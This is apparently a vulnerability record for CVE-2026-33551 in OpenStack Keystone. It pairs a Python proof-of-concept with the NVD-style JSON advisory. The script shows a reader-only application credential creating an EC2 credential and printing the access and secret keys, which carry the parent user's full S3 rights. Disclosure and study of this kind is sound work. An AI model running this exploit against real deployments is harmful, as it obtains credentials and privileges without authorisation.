CVE-2026-33551

# PoC for CVE-2026-33551: OpenStack Keystone Privilege Escalation # This script demonstrates how a restricted application credential # can be used to create a full-privilege EC2 credential. import requests import json # Configuration KEYSTONE_PUBLIC_URL = "https://your-openstack-api:5000/v3" # Token obtained from a restricted application credential (e.g., Reader role only) RESTRICTED_TOKEN = "gAAAAABk...restricted_token_here..." USER_ID = "1234567890abcdef1234567890abcdef" PROJECT_ID = "abcdef1234567890abcdef1234567890" def exploit_cve_2026_33551(): headers = { "X-Auth-Token": RESTRICTED_TOKEN, "Content-Type": "application/json", "Accept": "application/json" } # The endpoint to create EC2 credentials url = f"{KEYSTONE_PUBLIC_URL}/users/{USER_ID}/credentials/OS-EC2" payload = { "tenant_id": PROJECT_ID } print(f"[*] Attempting to create EC2 credential with restricted token...") print(f"[*] Target URL: {url}") try: response = requests.post(url, headers=headers, data=json.dumps(payload)) if response.status_code == 201: result = response.json() credential = result.get('credential', {}) access = credential.get('access') secret = credential.get('secret') print("[+] Success! EC2 Credential created.") print(f"[+] Access Key: {access}") print(f"[+] Secret Key: {secret}") print("[!] WARNING: This credential likely has full parent S3 permissions,") print("[!] bypassing the restrictions of the application credential.") else: print(f"[-] Failed to create credential. Status Code: {response.status_code}") print(f"[-] Response: {response.text}") except Exception as e: print(f"[-] An error occurred: {str(e)}") if __name__ == "__main__": exploit_cve_2026_33551()

{"cve": {"id": "CVE-2026-33551", "sourceIdentifier": "[email protected]", "published": "2026-04-10T03:16:02.723", "lastModified": "2026-04-13T15:02:06.187", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in OpenStack Keystone 14 through 26 before 26.1.1, 27.0.0, 28.0.0, and 29.0.0. Restricted application credentials can create EC2 credentials. By using a restricted application credential to call the EC2 credential creation API, an authenticated user with only a reader role may obtain an EC2/S3 credential that carries the full set of the parent user's S3 permissions, effectively bypassing the role restrictions imposed on the application credential. Only deployments that use restricted application credentials in combination with the EC2/S3 compatibility API (swift3 / s3api) are affected."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:N/I:L/A:N", "baseScore": 3.5, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "references": [{"url": "https://bugs.launchpad.net/keystone/+bug/2142138", "source": "[email protected]"}, {"url": "https://security.openstack.org/ossa/OSSA-2026-005.html", "source": "[email protected]"}, {"url": "http://www.openwall.com/lists/oss-security/2026/04/07/12", "source": "af854a3a-2127-422b-91ae-364da2661108"}, {"url": "https://bugs.launchpad.net/keystone/+bug/2142138", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}